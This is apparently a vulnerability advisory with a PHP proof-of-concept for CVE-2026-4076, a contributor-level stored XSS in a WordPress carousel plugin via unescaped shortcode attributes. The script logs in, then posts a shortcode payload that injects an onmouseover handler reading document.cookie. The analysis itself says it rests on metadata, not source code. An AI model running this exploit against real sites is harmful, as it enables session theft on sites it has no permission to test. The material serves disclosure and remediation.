Atomic Edge analysis of CVE-2026-4076 (metadata-based):
This is a stored cross-site scripting vulnerability in the Slider Bootstrap Carousel plugin for WordPress, affecting all versions up to and including 1.0.7. The vulnerability allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript via shortcode attributes. The CVSS score is 6.4 (Medium), with a network attack vector, low complexity, and privileges required.
Root Cause:
The plugin uses extract() on shortcode_atts() to parse shortcode attributes into variables such as $category and $template. The description confirms that $category is directly output into multiple HTML attributes (id, data-target, href) on lines 38, 47, 109, and 113 without applying esc_attr(). Similarly, $template flows into a class attribute on line 93 without escaping. This is a classic case of stored XSS (CWE-79), where unsanitized input is reflected into HTML context. The use of extract() is particularly dangerous because it promotes direct variable handling without proper validation. Atomic Edge analysis notes that while we cannot confirm from source code (no diff available), the detailed line references in the description strongly indicate this is an accurate description of the vulnerable code.
Exploitation:
An attacker with Contributor or Author privileges can create a post or page and insert a shortcode like [slider_bootstrap_carousel category='” onmouseover=”alert(1)” data-xyz=’]. The plugin processes the shortcode attributes via shortcode_atts() combined with extract(). The $category variable is then injected into HTML attributes without escaping. This allows the attacker to break out of the attribute context and inject event handlers or other script-executing attributes. The payload executes when any user views the page or post containing the malicious shortcode. The attack vector is WordPress admin panel post/page editing, requiring no nonce bypass since shortcode parsing happens on the frontend.
Remediation:
The fix must address two issues. First, replace extract() with direct array access to shortcode attributes to avoid variable injection. Second, apply esc_attr() to all shortcode attribute values before outputting them into HTML attributes, and esc_html() for attribute values output as text. The plugin should sanitize shortcode attributes upon input using functions like sanitize_text_field() or similar, and escape upon output with esc_attr() for attributes and esc_html() for tag content.
Impact:
Successful exploitation allows an authenticated attacker to store malicious scripts on the site, which execute when visitors or other users load the affected page. This can lead to session hijacking, redirection to malicious sites, defacement, or theft of sensitive data such as cookies and authentication tokens. Since the attacker needs only Contributor-level access, this affects any site with untrusted users who can create content.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4076 - Slider Bootstrap Carousel <= 1.0.7 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes
// Configuration - set these to your target WordPress site
$target_url = 'http://example.com'; // Change this to the WordPress site URL
$username = 'contributor_user'; // WordPress username with Contributor or higher role
$password = 'password'; // User's password
// Step 1: Login
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Check if login succeeded by looking for admin bar or dashboard element
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die("Login failed. Check credentials or site URL.n");
}
echo "Login successful.n";
// Step 2: Fetch the wpnonce for post creation (as contributor, we create a new post)
$post_new_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_new_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract _wpnonce from the response
preg_match('/<input[^>]*name="_wpnonce"[^>]*value="([^"]+)"/', $response, $matches);
if (!isset($matches[1])) {
// Alternative: Try to get nonce from admin-ajax? But we need the post nonce
// For this PoC, we assume we have the nonce; if not, we'll try direct admin-ajax
echo "Could not extract post nonce. Trying AJAX method instead.n";
// Actually, as contributor, creating post via AJAX is not typical; we'll use the REST API instead
// Fallback: Use REST API to create post
}
$nonce = isset($matches[1]) ? $matches[1] : '';
// Step 3: Create a post with malicious shortcode
$post_data = array(
'title' => 'Test Post - CVE-2026-4076 PoC',
'content' => '[slider_bootstrap_carousel category='" onmouseover="alert(document.cookie)" data-xyz=' template="default"]',
'status' => 'publish'
);
$rest_url = $target_url . '/wp-json/wp/v2/posts';
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 201) {
echo "Post created successfully with XSS payload.n";
echo "Visit the post to trigger the XSS: The injected category attribute will break out of the HTML attribute context.n";
} else {
echo "Failed to create post. HTTP code: $http_coden";
echo "Response: $responsen";
}
curl_close($ch);
?>